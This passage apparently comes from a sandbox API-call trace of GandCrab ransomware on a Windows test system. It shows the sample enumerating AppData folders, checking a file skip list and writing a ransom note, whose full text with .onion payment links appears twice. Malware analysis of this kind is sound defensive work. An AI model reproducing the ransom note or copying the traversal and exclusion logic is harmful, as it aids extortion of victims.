param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0053.808] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0053.808] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.808] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.808] lstrcmpW (lpString1="ISO690.XSL", lpString2=".") returned 1 [0053.808] lstrcmpW (lpString1="ISO690.XSL", lpString2="..") returned 1 [0053.808] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0053.808] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.808] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0053.808] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0053.808] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.808] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.808] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2=".") returned 1 [0053.808] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2="..") returned 1 [0053.808] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0053.808] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.808] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0053.809] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0053.809] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.809] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.809] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2=".") returned 1 [0053.809] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="..") returned 1 [0053.809] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0053.809] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.809] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0053.809] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0053.809] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.809] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.809] lstrcmpW (lpString1="SIST02.XSL", lpString2=".") returned 1 [0053.809] lstrcmpW (lpString1="SIST02.XSL", lpString2="..") returned 1 [0053.809] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0053.809] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.809] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0053.809] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0053.809] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.810] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.810] lstrcmpW (lpString1="TURABIAN.XSL", lpString2=".") returned 1 [0053.810] lstrcmpW (lpString1="TURABIAN.XSL", lpString2="..") returned 1 [0053.810] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0053.810] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.810] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0053.810] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0053.810] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.810] FindNextFileW (in: hFindFile=0x5b8930, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.810] FindClose (in: hFindFile=0x5b8930 | out: hFindFile=0x5b8930) returned 1 [0053.810] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.810] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.810] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.810] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0053.810] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0053.810] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0053.810] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\" [0053.810] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.810] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.811] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.811] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned 60 [0053.811] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0053.811] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892e0 [0053.811] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.811] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.811] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.811] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.811] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.811] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.811] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.811] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt") returned 77 [0053.811] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\credentials\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.812] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.812] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.813] CloseHandle (hObject=0x4f8) returned 1 [0053.813] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.813] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\") returned 60 [0053.813] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*" [0053.813] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892e0 [0053.813] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.813] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.813] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.813] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.813] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.813] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.813] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.813] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt" [0053.813] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.813] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0053.813] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0053.813] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0053.813] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials\\GDCB-DECRYPT.txt") returned 76 [0053.813] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.813] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.813] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.814] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.814] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.814] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.814] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.814] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0053.814] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0053.814] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0053.814] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\" [0053.814] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.814] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.814] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned 55 [0053.814] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0053.814] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892e0 [0053.814] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.815] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.815] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.815] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.815] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.815] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0053.815] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0053.815] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0053.815] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 58 [0053.815] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.815] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.815] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.815] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\GDCB-DECRYPT.txt") returned 72 [0053.815] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crypto\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.815] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.815] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.816] CloseHandle (hObject=0x4f8) returned 1 [0053.816] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.816] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\") returned 55 [0053.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*" [0053.816] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892e0 [0053.816] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.816] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.816] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.816] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.816] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.816] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.816] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt" [0053.816] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.816] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0053.817] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0053.817] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0053.817] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\GDCB-DECRYPT.txt") returned 71 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.817] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.817] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.817] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.817] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0053.817] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0053.817] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" [0053.817] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\" [0053.817] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.817] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.817] lstrlenW 